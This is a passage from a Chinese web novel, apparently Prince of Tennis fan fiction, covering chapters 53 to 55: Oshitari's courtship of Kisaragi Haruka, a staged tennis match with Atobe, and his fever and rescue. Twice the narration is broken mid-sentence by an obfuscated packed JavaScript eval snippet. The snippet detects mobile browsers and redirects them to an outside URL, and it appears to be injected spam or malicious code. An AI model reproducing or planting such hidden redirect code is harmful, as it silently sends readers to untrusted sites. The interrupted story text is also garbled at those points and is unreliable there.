感受到如月遥那极具穿透力的冰冷视线,孟远只觉得后背有点发凉。 “咳……这不是…入学第一天嘛……” 他解释道,声音有点干,“打好关系,方便以后交流…学习?” 最后两个字说得他自己都觉得有点心虚。 如月遥端起桌上的水杯喝了一口,神情复杂,放下杯子后,她的声音恢复了惯常,“别欺负忍足。” 这句话来得突然,又极其明确。 孟远愣了一下。 “欺负?”他反问,眼神也变得意味深长,“很在意那位忍足同学?” 他刻意加重了“在意”二字,带着探究。 如月的回答简洁直接,带着点理所当然的嫌弃:“他胆子很小。” 想起山林遇熊时忍足明明害怕却还想冲上前来保护她的样子,语气带着她自己都没意识到的维护,“见到熊都怕得要死。” 她明确警告:“你嘴巴毒,离他远点。” 孟远:“……” 胆子小? 见到熊怕得要死? 这种蹩脚的理由…… 他几不可闻地撇了撇嘴,低下头用只有自己能听到的声音吐槽, “谁有你嘴巴毒啊……” 随即重新挂上那副温润无害的笑容,仿佛刚才的低语从未发生。 “知道了。”他举起双手,做出投降的姿态,“我保证,离他远远的。” 他挥了挥手,转身朝门外走去。 “早点休息,我回房了。” 53. 第 53 章 几天后 阳光透过文学部阶梯教室的玻璃窗,在地板上投下斜长的光影。 空气中弥漫着淡淡的油墨气息。 忍足侑士像往常一样走进教室,目光习惯性地投向那个靠窗的固定位置。 如月遥已经坐在那里了。 她侧着头,正专注地看着摊开的诗集。而她旁边的位置,如同被无形地标注了“忍足侑士专座”一般,静静地空着。 连日来因为孟远出现而产生的沉重阴霾,在这熟悉的场景前似乎被驱散了一些。 步履轻快地走过去,拉开椅子坐下,动作自然地翻开带来的书本,发出轻微的纸张摩擦声。 就在他坐下的一瞬间,如月遥的鼻翼极其轻微地翕动了一下。 她依旧看着书,头也没抬,声音却清晰地响起:“今天喷香水了?” 忍足的心跳漏了一拍,随即稳稳地应道:“嗯。” 他刻意放缓了翻书的动作,仿佛只是不经意地提起,声音压得低沉而略带磁性:“和大小姐喷一样的香水……” “你会不高兴吗?” 如月遥握着钢笔的指尖顿了一下。 笔尖在摊开的笔记本上留下一个极小的、几乎看不见的墨点。然后,手中的笔又若无其事地继续书写起来。 “懒得管你。” 依旧是那副语调,带着点不耐烦。但其中默许的意味,足够在忍足的心湖里漾开涟漪。 他没有再追问,只是笑意。 清冽的雪松冷香,若有似无地从他身上散发出来,与她自身的气息悄然交织、融合,萦绕在两人之间这方小小的天地里。 讲台上教授舒缓讲述诗歌韵律的声音,仿佛也因为这同源的冷香而变得格外悦耳。 课间休息的铃声响起,教室里的气氛瞬间活络起来。 忍足合上书,身体转向如月遥的方向,眼眸里带着一丝刻意营造的、恰到好处的哀怨。 “大小姐最近都不检查我的下盘练习了。” 他的声音听起来有点委屈,活像一只被冷落的大型犬。 如月遥正收拾着桌面上的笔记本,动作未停,“你自己练得挺好,不需要检查。” “可是……”忍足立刻接话,语气带着点困扰,“遇到难题了,真的需要教一教。” 麻利地掏出手机,点开训练视频,递到如月遥面前。 屏幕上播放的正是她当初给他的那份“进阶视频”里一个极其考验核心稳定性和腿部爆发力的组合动作。 “这里……”他的指尖点了点屏幕上的某个节点,“还有这里……” “发力点和平衡转换,总是觉得衔接不够流畅,做不到位。” 如月遥的目光落在了手机屏幕上,几不可闻地“嗯”了一声,“是有点难度。” “你什么时候打网球?我看看你现在的水平。” 不是看练习视频,而是直接看实战表现。 机会。 “今天下午就有安排,” “和迹部约了场练习赛。一起去看看?” 她微微颔首: “嗯。” 一个简洁的音节,却如同天籁。 后半节课开始。 讲台上,教授正在深入剖析一首象征主义诗歌的隐喻结构。 忍足看似听得极其认真,目光专注地落在投影上,笔记本上还煞有介事地记着。 然而,余光却如同雷达,锁定着身旁的如月遥。 他修长的手指在笔记本的边缘摸索了一下,撕下了一小条纸。动作流畅自然,丝毫没有引起注意。 然后,在那张小小的纸条上飞快地写下几个字。 做完这一切,他依旧保持着听课的姿态,只是用指关节极其轻微地碰了碰如月遥放在桌沿的手肘外侧。 如月遥冷冷地扫了他一眼。 忍足立刻用眼神示意那张被他悄悄推到她笔记本旁边的纸条,眼神无辜又带着点恳求。 如月遥不耐,但还是伸出手指,极其嫌弃地拈起了那张小小的纸条。 打开。 上面是忍足侑士漂亮流畅的字迹: 【一起吃午饭吗?】 如月遥:“……” 她抬眼,带着一丝“你脑子进水了?”的质问,狠狠地剜了忍足一眼。 这家伙搞什么? 课间休息的时候为什么不直接问? 非要玩这种幼稚的小学生把戏? 忍足接收到她凌厉的眼刀,立刻正襟危坐,假装全神贯注地盯着讲台,仿佛刚才搞小动作的是别人,只有微微发红的耳根泄露了他此刻内心的紧张。 如月遥瞪了他几秒,最终收回了视线,捏着纸条,指尖无意识地捻了捻。 在纸条的背面,极其干净利落的字体,飞快地写下了几个字。 手腕一翻,指尖一弹,那张小纸条如同长了眼睛般,精准地飞回了忍足摊开的笔记本上。 忍足强作镇定,将纸条拢入手心,紧紧攥住。指尖微微颤抖着,一点点地展开纸条。 【甜点要吃米布丁。】 忍足攥紧了那张纸条,仿佛攥住了世界上最珍贵的宝物,嘴角的弧度无论如何也压不下去,讲台上教授的声音变得遥远模糊。 整个世界,似乎只剩下手心里那行小小的字。 甜点要吃米布丁。 午后的阳光带着夏末的余威,灼热地炙烤着东大网球场的硬地。 迹部的眼眸里燃烧着熊熊怒火,握着球拍的指关节因为用力而泛白。 他刚刚收到忍足那条该死的短信: “中午陪大小姐吃饭,下午练习赛拜托帮我演一演,她会来看。PS:午餐自便。” 简直是把他迹部大少爷当成了召之即来挥之即去的工具人! “啧!”迹部狠狠啐了一声,手指在手机屏幕上用力戳着,几乎要把屏幕戳穿,回复的短信带着强烈的杀气: 【要是输给那个孟远,就给本大爷滚去太平洋海底挖矿吧!】 发泄完怒火,迹部认命地拎起球包,迈着依旧优雅却明显带着“老子不爽”气场的步伐走向球场。 忍足侑士,你死定了。 当忍足陪着如月遥出现在球场边时,看到的就是迹部大爷一脸“生人勿近、熟人滚蛋”的阴沉表情,以及他身周那几乎能实质化的低气压。 忍足闪过一丝心虚,但很快被“大小姐来看我打球”的喜悦和“要在她面前好好表现柔弱”的紧张双重情绪所覆盖。 练习赛开始。 迹部显然是把所有被当成工具人的怒火,都倾注在了那颗小小的黄色网球上。 “沉醉在本大爷的美技之下吧!” 华丽的宣言带着怒意。 砰! 一记刁钻到极致的击球,带着撕裂空气的尖啸,精准无比地砸向忍足刚刚在文学部课上才“请教”过的下盘薄弱区。 忍足“哎呀”一声,脚步踉跄,虽然狼狈但还是堪堪用拍框够到了球,勉强回了过去,球又高又飘。 这是什么垃圾演技。 迹部眼中寒光一闪,如同锁定猎物的鹰隼。 “迈向破灭的圆舞曲!” 咚!咚! 干脆利落的两记扣杀,第二球更是精准地砸向忍足反手位靠近边线的位置,正是忍足之前视频里“请教”过的、关于“反手削球时上肢与腰腹力量衔接不够流畅”的区域。 忍足“奋力”扑救,动作幅度极大,却显得笨拙而迟滞,球拍堪堪擦到球的下沿,球直接飞出了场外。 “15-0!”迹部报分,声音冷得像冰,眼神如同刀子般刮过忍足。 明晃晃写着:真是不忍直视。 场边,如月遥抱着手臂站在树荫下。 起初她还看得还算平静,但几球过后,她的眉头越蹙越紧。 迹部……打球也太凶了。 每一球都像是带着私人恩怨,精准无比地、毫不留情地轰向忍足刚才在课上“请教”过的每一个“弱点”: 下盘不稳、反手削球衔接差、正手位移动后重心恢复慢…… 这哪里是练习赛? 这分明是单方面虐杀。 而且迹部的眼神,简直像是要把忍足生吞活剥了。 莫名的不爽在如月遥心头升起。 她理解迹部球风华丽且攻击性强,但这样针对性地、近乎羞辱地追着忍足的“弱点”打,实在有些过分了。 她的目光不由自主地变得冰冷起来,如同寒流越过球场,直直地射向迹部。 正在发球的迹部,敏锐地捕捉到了场边那道极具穿透力的视线。 眼睛看过去,正好对上如月遥那双写满了不悦和谴责的眼神。 迹部:“……” 他瞬间感觉自己像个被误伤的靶子。 憋屈感直冲头顶。 啊嗯?! 本大爷是在帮谁? 是在帮谁制造“被虐”的机会好让某人名正言顺获得大小姐的“一对一指导”?! 结果呢? 他迹部景吾!堂堂帝王!东大之光! 竟然成了这两个人play里的一环?! 还要承受大小姐冰冷的眼刀? “呵……”迹部怒极反笑。 他将所有的怒火和憋屈,化作更加凌厉的、几乎要杀人的目光,狠狠钉在了对面那个“始作俑者”——忍足侑士身上。 那眼神,仿佛在说:忍足侑士!这笔账本大爷记下了!你给本大爷等着! 砰!砰!砰! 接下来的几球,攻势更加狂暴。 每一球都带着摧毁一切的气势,仿佛要把忍足连同他那些“绿茶”小心思一起轰成渣。 忍足顶着迹部那几乎要把他凌迟的目光,硬着头皮继续“表演”。 他卖力地“挣扎”、“扑救”、“失误”,动作夸张,表情痛苦,将一个“被强大对手针对弱点无情碾压”的可怜形象演绎得淋漓尽致。 终于,在一记毫不留情、几乎擦着他头皮飞过的ACE球结束比赛后,迹部连最基本的赛后礼仪都懒得维持了。 最后剜了忍足一眼,“太平洋海底挖矿场,本大爷给你留了个好位置。” 带着一身能将方圆十米都冻成冰窟的低气压,大步流星地离开了球场。 背影都写着“莫挨老子”四个大字。 球场瞬间安静下来,只剩下忍足略显“狼狈”地撑着膝盖喘息,以及树荫下,如月遥那眉头紧锁的脸。 忍足调整了一下呼吸,直起身看向如月遥的方向,眼里带着恰到好处的挫败,然后虚心求教。 他的声音带着点喘息后的沙哑,“刚才…都看到了吧?” “那些地方……真的很有问题……” 如月遥抱着手臂,一步步从树荫下走了过来。 阳光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526655|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾勒出她挺拔的身影,看着忍足汗湿的额发和略显凌乱的衣衫,最后定格在他那双带着“真诚”困惑的眼睛上。 她沉默了几秒,空气仿佛凝固了。 就在忍足以为她要拆穿他拙劣的表演,或者直接转身离开时,她忽然抬手,指向球场底线附近的一个点。 “过来,我教你。” 如同被投入滚烫岩浆的冰块,瞬间沸腾。 他强压下几乎要咧到耳根的嘴角,努力维持着“受教”的表情,快步走到如月遥指定的位置。 空旷的球场上,阳光将两人的影子拉得很长。 忍足握着球拍,在如月遥清冷而精准的指导下,一次次重复着动作。 她的声音很淡,指点却很到位,偶尔会直接上手调整他的手臂角度或腰腹发力点。 微凉的手指触碰在他汗湿的皮肤上,带来一阵细微的、令人心颤的电流。 他一边“认真学习”,一边用余光贪婪地描摹着她专注的侧脸。 至于迹部大爷临走前那杀人般的眼神和太平洋海底挖矿的威胁? 嗯……为了这一刻,值了。 夕阳彻底沉入地平线,暮色四合,网球场边的路灯次第亮起。 忍足站在底线附近,汗水浸湿了额发,微微喘息着。 他刚刚按照如月遥的指点,完整地打出了一套融合了新领悟的动作——从下盘的爆发启动,到腰腹核心的瞬间扭转,再到上肢力量的精准传导,一气呵成! 那记反手削球带着凌厉的旋转,精准地落在对面半场的死角区域,弹跳轨迹刁钻无比。 “嗯。”如月遥抱着手臂站在场边,极其轻微地点了一下头,给出了一个简洁却分量十足的肯定:“还行。” 忍足的心飞扬起来,装弱归装弱,但如月遥的指导简直如同醍醐灌顶。 她精准地指出了他之前在视频里“请教”过的每一个关键点:下盘力量的传导断层、反手削球时腰腹旋转与手臂挥拍的脱节、移动后重心恢复的迟滞…… 每一个问题都被她剖析得清清楚楚。 她的指点方式极其直接高效。 有时是简洁精准的语言描述,有时则直接亲身示范。 忍足看着她走到场中,无需热身,整个人瞬间如同一张拉满的弓。 脚踝蹬地、小腿肌肉骤然绷紧发力、腰部如同最灵活的轴承猛地扭转、手臂挥出的轨迹完美无缺。 所有力量在击球点瞬间爆发。 那一刻,她不再是图书馆里清冷疏离的文学少女,而是一只蓄势待发的、充满原始力量和极致协调性的猎豹,流畅的肌肉线条在灯光下勾勒出惊人的爆发美感,让忍足看得几乎屏住了呼吸。 忍足侑士毕竟是运动天赋顶尖的网球选手。 当如月从武学角度切入,将他动作中那些难以察觉的“滞涩点”与武学发力原理对应打通后,许多原本困扰他的技术难点,如同被钥匙打开的锁,瞬间豁然开朗。 一旦理解了核心原理,后续的融会贯通便水到渠成。 刚才那几球,他能清晰地感觉到力量的传递前所未有的顺畅,击球瞬间的穿透力和控制力都提升了一个档次。 这种实实在在的进步带来的成就感,甚至冲淡了他刻意“装弱”的那点心虚。 “以后就按这个感觉练。” 如月遥的声音将他从兴奋中拉回。 “等练熟了这套进阶的,再教你别的。” 最后补了一句,目标明确且极具诱惑力: “保证打趴迹部。” 忍足:“……” 他在心里默默地为刚刚愤然离场的好友迹部点了一根蜡,并致以最诚挚的歉意和感恩,面上却立刻堆满了受教的感动和憧憬。 “是!谢谢大小姐!”他的声音里充满了真诚。 场地彻底被夜色笼罩。 忍足收拾好散落的网球和球拍。 “天都黑了,辛苦了。” “我请你吃饭吧?” 指了指自己汗湿的T恤,带着点小小的“卖惨”:“就当犒劳一下我这个‘苦力’学生?” 如月遥的目光在他沾着汗水和灰尘的衣上停顿了,微凉的夜风吹过,她似乎才后知后觉地感到腹中空空。 抬手将被风吹乱的发丝捋到耳后,声音平淡,“嗯。想吃关东煮。” “没问题。” 两人并肩走出网球场。 寂静的校园小道上,只有两人的脚步声和远处传来的模糊人声。 不远处,法学部灯火通明的大楼台阶上。 孟远不知何时站在那里,身形挺拔如松,几乎与夜色融为一体。他黑曜石般的眼眸静静地注视着网球场方向并肩离去的两道身影。 灯光在他深邃的轮廓上投下明明暗暗的光影,眼神锐利如鹰。 看着那两道消失在远处拐角的身影,孟远缓缓抬起手,若有所思地摸了摸下巴。 “唔……” 轻不可闻的低语从他唇间逸出。 “反击得还挺快。” 黑眸微眯,如同在棋盘上看到了对手一步精妙的落子。 “心理素质……抗击打能力……” “勉强合格吧。” 他低声评价着,像是在给商品打分。 视线仿佛穿透了夜色,落在那位对感情迟钝得令人发指的大小姐身上。 “阿遥这个感情白痴……” 他无奈地自言自语:“什么时候才能发觉呢?” 54. 第 54 章 小小的关东煮店氤氲着温暖的食物香气,人头攒动,充满了市井的热闹。 忍足护着如月遥,在角落找到一张小桌。 自然地坐在了外侧的位置,高大的身躯侧倾,不动声色地为她隔开了通道里来来往往的食客。 如月遥的目光扫过墙上的菜单,指尖在印着食物的图片上飞快点过。 “昆布、牛肉丸、白萝卜……”她报出几样。 忍足几乎在她话音落下的同时就接口道:“不要福袋。” 侍应生惊讶地看了他一眼,显然没料到这位客人对同伴的喜好如此了然于心。 忍足掏出钱包,语速极快地补充了其他几样如月常点的食材,外加自己那份,利落地完成了点单。 两杯冒着咕嘟气泡的可乐被端了上来。 忍足拿起其中一杯,把不加冰的那杯推到了如月遥面前。 “谢谢。”接过,指尖碰到微凉的杯壁。 热腾腾的关东煮很快上桌,食物的香气驱散了运动后的疲惫。 忍足看着如月遥用筷子吃着一片煮得软糯透亮的昆布,气氛安静而舒适。 目光落在她低垂的眼睫上,心思却飘向了那个名字。 状似不经意地开口,声音放得很轻,恰到好处的好奇:“之前,孟君叫你……” 他刻意模仿了孟远那带着特殊腔调的中文发音,“阿遥。” “这是你的中文名字吗?” 如月遥咀嚼的动作停下,眼里带着“你怎么突然问这个”的疑惑,还是点了点头。 “我的中文名叫‘云月遥’。” 似乎觉得需要解释清楚,又用日语清晰地重复了一遍发音和对应的汉字:“雲(Kumo)月(Tsuki)遥(Haruka)。” “云月遥……”忍足无声地默念着这个名字,舌尖仿佛能感受到这三个字独特的韵律。 像是被这个名字吸引,他的语气充满向往,“听起来很美。” “中文,难学吗?” 如月遥正夹起一颗饱满的牛肉丸,挑眉看他, “你医学部的课程很轻松吗?” 潜台词:你还有空学这个? 忍足面不改色,早就准备好了完美的理由:“中医博大精深。” 表情瞬间变得严肃认真,带着医学生做课题的严谨,“很多古籍文献都是中文原版。” 学术光芒闪烁在眼里。 “学了中文可以更好地研读那些医学资料。” 这个理由,天衣无缝,无懈可击。 如月遥看着他这副“一心向学”的认真模样,难得无语。 忍足趁热打铁,“外面的中文老师水平参差不齐,我也不熟悉。” “大小姐,方不方便教教我?” “不方便。” 干脆利落,毫无转圜。 又是这样直白的拒绝。 但忍足早已身经百战。 他深谙“敌退我进、敌疲我扰”的迂回战术精髓,脸上立刻堆起“虚心求教”的诚恳表情,退而求其次,语气带着点不强求的体贴,却又暗藏玄机。 “那大小姐能不能推荐一些好的学习视频或者资料给我?” “我自己照着学……” “然后,定期给你检查学习成果?” 如月遥:“……” 她被忍足这种“打蛇随棍上”、步步紧逼的缠人功夫弄得有点郁闷。 看着他满脸“求知若渴”的真诚,拒绝的话在嘴边转了几圈,最终还是败下阵来。 “啧……”没好气地瞪了他一眼,算是默认了,“晚点找些资料发给你。” 她放下筷子,身体微微前倾,眼里带着警告意味的寒光,声音压低却字字清晰,如同冰珠砸落: “现在折腾要学中文……” 目光如刀刃,刮过忍足的脸:“要是你学不出个样子来……” “我的拳头等着你。” 明明是充满暴力意味的警告,但忍足却从中听出了纵容。 他连连点头,眼眸亮得惊人:“是!保证好好学习。” “绝对不让大小姐失望。” 他已经在盘算着今晚就开始挑灯夜战,势必要在最短时间内掌握“云月遥”这三个字的正确发音。 如月遥看着他那副样子,几不可闻地哼了一声,重新低下头,继续对付碗里那颗圆滚滚的牛肉丸。 深夜 手机屏幕的光映亮了忍足的脸庞。 一个来自【Moon】的新消息提示格外醒目。 点开。 基础中文的学习资料,简洁明了的PDF文档。 发音清晰的入门视频教程,甚至还有一份针对他“医学目的”而特别整理的中医古籍常用词汇表。 忍足立刻点开回复框,手指飞快地敲击: 【忍足侑士】:资料收到,万分感谢。 【忍足侑士】:早点休息。 放下手机,忍足并没有立刻查看资料。靠在椅背上,望着天花板,手指无意识地敲击着桌面。 然后又拿起手机,拨通了迹部景吾的号码。 电话响了好几声才被接起。 “忍足侑士!”迹部的声音带着被吵醒的浓浓火气和“工具人”的强烈不满,劈头盖脸就是一顿输出。 “你最好有十万火急的事情!否则本大爷明天就让你体验太平洋海底一日游!!” 忍足非常熟练地将手机拿远了一点,等电话那头的咆哮声浪稍微减弱,才慢悠悠地凑近听筒,声音正经:“迹部,我有事请教。” “说!” 完全无视了迹部的怒火,忍足直奔主题:“‘云月遥’中文发音,具体是什么?” 电话那头沉默了两秒。 随即,迹部发出一声冷笑。 “呵……” 败给好友的无奈袭上心头,“你真是无可救药。” 过了一会,迹部咬牙切齿地压制自己的情绪,然后一字一顿地念了一遍。 “云(Yún)月(Yuè)遥(Yáo)。” 迹部的中文发音标准清晰,天生的贵族腔调。 还附赠一个名词解释。 “云里的月亮,遥不可及。啧……” “跟你家大小姐那副高冷的样子,倒是绝配。” 忍足自动过滤了迹部话里的揶揄,只捕捉到了那三个字的准确发音。 他在心里默默跟着念了一遍又一遍——Yún Yuè Yáo。 云、月、遥。 每一个音节都仿佛带着独特的韵味,组合起来如同清泉流淌过玉石,又如同月光洒落寒潭。 他越听越喜欢,嘴角不受控制地向上扬起。 “迹部,能再慢点说一遍吗?我想学学发音。” 迹部强忍着挂断电话的冲动,指尖揉上自己的太阳穴,清晰地、大声地,一字一顿地重复: “Yún——Yuè——Yáo——” 他念得极其缓慢清晰,如同在教幼儿园小朋友,“听清楚了吗?忍足同学?” “嗯,听清楚了。” 忍足像个得到糖果的孩子,声音里充满了愉悦,“谢谢迹部老师啊。” 迹部被他这声“老师”叫得鸡皮疙瘩掉了一地,没好气地哼了一声。 不过,他终究还是念在多年好友的份上,补充了一句:“本大爷的中文老师是顶尖的。” 迹部的声音带着点施舍般傲慢,“看你可怜,回头把他的联系方式给你。收费很贵,但效果一流。” “大少爷威武!”他毫不吝啬地送上赞美,“谢了!” “不过千万偷偷介绍给我就好。” “毕竟我还要多多‘请教’大小姐呢……” 这才是重点! 制造接触机会! 迹部在电话那头无声地骂了一句“重色轻友”,最终只憋出两个字: “挂了!” 电话被毫不留情地切断。 听着手机里传来的忙音,忍足非但没有生气,反而心情极好地放下手机。 “云月遥……” 这三个字如同魔咒般在他心头萦绕。 云里的月亮…… 高悬于天,清冷遥远。 指尖划过手机,停留在通讯录置顶的位置。 那里,静静地躺着——【Moon】。 他独自在房间里,清晰地念出刚刚学会的、仿佛带着魔力的三个发音: “Yún Yuè Yáo……” “阿遥……” 他的指尖轻轻拂过那个冰冷的屏幕。 “我离你……” 他闭上眼,感受着那份不断靠近的心跳。 “更近一点了。” 忍足侑士最近仿佛一台被设定到极限模式的精密仪器。 医学部的研究课题进入攻坚阶段,数据模型复杂得令人头秃。 网球场上,他不仅要消化如月遥的“指导”,还要应付迹部大爷“报复性”的猛烈球风。 深夜里,啃着艰涩的中文教材,对着视频一遍遍练习发音。 周末则泡在厨房,对照着菜谱跟锅碗瓢盆搏斗,试图复刻出记忆中如月遥喜欢的粤菜味道。 连轴转的代价是睡眠被压缩到了极限,身体的弦绷得太紧。 再加上季节交替,一场突如其来的降温成了压垮骆驼的最后一根稻草。 所以,当忍足强撑着走进文学部阶梯教室时,脚步是虚浮的。 他感觉像踩在棉花上,每一步都带着不真实的飘忽感。 额角突突地跳,喉咙干涩发紧,连呼吸都带着不正常的灼热。 不想错过。 不想错过今天能遇到她的机会。 几乎是凭着本能,挪到了那个熟悉的靠窗位置。 如月遥已经坐在那里,扫了他一眼,没说什么。 忍足坐下,翻开书本,试图集中精神。 讲台上教授的声音,平日里清晰悦耳,此刻却像是隔着一层厚厚的毛玻璃,模糊不清,嗡嗡作响。 他努力想听清那些关于象征主义诗歌的解析,可字句如同散落的珠子,无论如何也串不起来。 眼皮越来越沉重,像坠了铅块,眼前书页上的字迹也开始模糊晃动。 他强撑着,脊背挺得笔直,不想在她面前露出任何狼狈。 可身体的抗议越来越强烈,一阵阵寒意顺着脊椎往上爬,骨头缝里都透着酸疼。 然后…… 意识如同断了线的风筝,轻飘飘地坠入了黑暗。 忍足是被额头上传来的冰凉触感惊醒的。 细腻微凉,带着奇异的安抚力量,瞬间驱散了他混沌的黑暗。 他猛地坐直身体,动作因为虚弱而显得有些摇晃。 眼前还有些模糊,用力眨了眨眼。 教室里……空了? 只剩下他和…… 如月遥正坐在他对面的桌子上,一只脚随意地踩着椅子的横梁,姿态带着点慵懒的压迫感。 她神色平静,而刚刚那只抚上他滚烫额头的手,此刻正缓缓收回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526656|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “醒了?”如月遥的声音响起,却比平时更冷了几分,像淬了冰的溪水。 “忍足医生。” 她刻意加重了“医生”两个字,带着毫不掩饰的嘲讽。 “你自己发烧了,没发觉?”男人潮红的脸颊和失焦的眼神映入眼帘。 忍足下意识地抬手摸了摸自己的额头,又摸了摸脸颊,一片滚烫,喉咙也干得如同砂纸摩擦。 他竟然在课堂上睡着了?! 还是在她面前?! 而且还被当场抓包发烧?! “我……”他试图开口解释,声音却嘶哑得厉害,“没……没注意……” 话一出口,他自己都想抽自己! 没注意? 一个医学生,连自己发烧都“没注意”? 这借口拙劣得连他自己都不信! 他只是……只是不想错过今天能见到她的机会罢了…… 看着忍足这副面红耳赤、眼神躲闪、又虚弱狼狈的样子,如月遥的眉头皱得更紧。 “赶紧回去休息。” 简洁,冰冷,没有丝毫商量的余地。 忍足像个做错事被抓包的孩子,点了点头,扶着桌子边缘,试图站起来。 然而,高烧带来的眩晕感和脱力感比他预想的更猛烈。 双腿如同煮软的面条,根本使不上力,他刚站直身体,眼前就是一黑,身体不受控制地向前踉跄。 “小心!” 下一秒,忍足感觉自己被一只有力的手稳稳地扶住。 那力量支撑住了他摇摇欲坠的身体,不受控制地靠在了她纤细却异常稳固的肩膀上。 熟悉的雪松裹挟着温热气息,瞬间包裹了他滚烫的感官。 他……靠在了她的身上…… 这个认知让忍足本就混沌的大脑更加眩晕,心跳却不受控制地疯狂加速,脸颊的温度似乎又升高了几分。 他努力想站直,想摆脱这过于亲密的接触,不想让她负担自己的重量。 可身体根本不听使唤,酸软无力,只想沉溺在这份带着凉意的支撑里。 “没事……”他鼻音浓重,声音闷闷地从她颈窝处传来,带着病中的虚弱和难以压制的依赖。 “别耽误你吃饭……我自己回去……” 嘴上说着“自己回去”,身体却诚实得如同树袋熊,可怜巴巴地靠在如月遥身上,汲取着那份支撑和微凉。 如月遥:“……” 她清晰地感受到肩膀上沉甸甸的重量和透过薄薄衣料传来的滚烫体温。 看着忍足烧得迷迷糊糊、还强撑着说“自己回去”的样子,嘴角几不可察地抽搐了一下。 一股莫名的、混合着烦躁和无可奈何的情绪涌上心头。 “吃什么吃!”她没好气地低斥了一声,语气带着点咬牙切齿的愤懑,“车钥匙给我!” 伸出手,掌心向上,不容拒绝。 忍足此刻大脑宕机,身体投降,顺从得不可思议。摸出车钥匙,乖乖地放在了她摊开的掌心里。 银灰色的车钥匙上,那个莫奈睡莲的钥匙扣在灯光下泛着温润的光泽。 如月遥瞥了一眼钥匙扣,收拢手指,紧紧攥住钥匙。 “走。”一只手稳稳地扶着忍足的手臂,支撑着他大半的重量,几乎是半拖半架地带着他往教室外走。 忍足像个大型挂件,脚步虚浮地跟着她。 他声音沙哑,带着点不确定,“你会……开车?” 如月遥脚步未停,声音平静无波,却让忍足心头警铃大作,毛骨悚然。 “没事,你安全带系好就行。” “和过山车差不多。” 忍足:“……” 没等他消化完这句恐怖宣言,他的脑袋因为发烧而有些混乱,却捕捉到了她扶着他不放的手,还有她话里暗藏的关心。 他烧得迷迷糊糊,嘴角却不受控制地向上弯起弧度,带着点梦呓般的口吻,轻轻嘟囔了一句: “真可爱……” 如月遥:“!!!” 她扶着忍足的手臂猛地一僵,脚步瞬间顿住。 猛地侧过头,眼眸难以置信地瞪大,死死盯住靠在自己肩上、脸颊潮红、眼神迷离的忍足侑士。 他……他刚才说什么?! 可爱?! 他居然敢说她……可爱?!! 他是烧糊涂了?! 还是烧得连命都不要了?! 看着他那副毫无自觉、甚至还带着傻笑的迷糊样子,如月遥胸中翻腾的羞恼,最终化为一声极其暴躁的叹息。 “烦死了!” 几乎是粗暴地一把将忍足从自己身上“撕”下来,拉开副驾驶的车门,像塞一个大型玩偶一样,毫不客气地把他塞了进去。 “砰!” 车门被用力关上。 插钥匙,点火,动作带着压抑的火气。 忍足虚弱地靠在副驾驶座上,安全带紧紧束缚着他,只感觉一阵天旋地转。 然后—— 嗡——!!! 引擎发出一声低沉的咆哮。 如月遥一脚油门狠狠踩下,车子如同离弦之箭般猛地窜了出去。 强烈的推背感将忍足死死按在椅背上,窗外景物瞬间化作模糊的色块疯狂倒退。 忍足只觉得胃里一阵翻江倒海,眼前发黑,心脏几乎要从喉咙里跳出来。 他恍惚间觉得…… USJ的飞天翼龙…… 好像……也不算啥了…… 55. 第 55 章 意识如同沉船浮出混沌的黑暗。 沉重的眼皮艰难地掀开,映入眼帘的是陌生的景象。 线条简洁却透着质感的吊顶,空气里弥漫着极其清淡的冷冽木质香气,源头似乎是角落那个古朴的香炉,正袅袅升起几缕烟雾。 整个房间的装饰风格简约,却低调含蓄。 他动了动有些僵硬的脖颈,才发现自己左手手背上扎着针,冰凉的药液正通过透明的输液管缓缓流入血管。 视线艰难地转向床边。 不远处的单人沙发里,如月遥微微低着头,墨黑的长发垂落颊边,遮住了小半张脸。 面前的笔记本电脑屏幕亮着幽蓝的光,映着她专注的侧脸轮廓。 修长白皙的手指在键盘上轻盈跃动,敲击声很轻,却富有韵律。 听到了他的动静,键盘声戛然而止,如月遥看了过来。 四目相对。 忍足只觉得喉咙干涩得厉害,“这…是哪里?” 如月遥合上笔记本,步履无声地走到床边。 她居高临下地看着他,简单作答:“我家。” 语气理所当然: “我又不认识你家在哪。” “只能带回来了。” 我家。 这两个字如同惊雷,在忍足混沌的大脑里炸开。 那座戒备森严、他每次都只能止步于庭院、仿佛隔绝了两个世界的别墅大门,他竟然就这样昏迷着、毫无知觉地被带进来了? 如月遥对他的心理活动毫无兴趣,拿起放在床头柜上的电子体温计。 在忍足愕然的目光注视下,她伸出手,指尖灵巧地解开他家居服领口处的两颗纽扣。 微凉的指尖不可避免地触碰到了他滚烫的皮肤,忍足的身体瞬间绷紧。 他……他里面什么都没穿!? 还没等他羞窘的情绪发酵,如月遥已经动作利落地将体温计的探头塞进了他的腋下。 “夹好。”她命令。 忍足僵着身体,大气都不敢喘,只觉得腋下那触感冰凉,但被触碰过的皮肤又火辣辣的。 后知后觉地意识到,自己身上这套家居服,不是他原来的衣服 “你的衣服沾了冷汗,脏死了,扔掉了。” 如月遥像是洞悉了他的疑惑,扫过他惊讶的脸,毫不掩饰的嫌弃。 “女仆帮你换的。” 忍足只觉得一股热气冲上头顶,连耳根都烫得吓人。 他恨不得立刻钻进被子里! 自从学会穿衣服以来,几乎连母亲都没有帮他换过衣服,更别说其他女人。 虽然知道是女仆…… 但……这也太…… “嘀嘀嘀——” 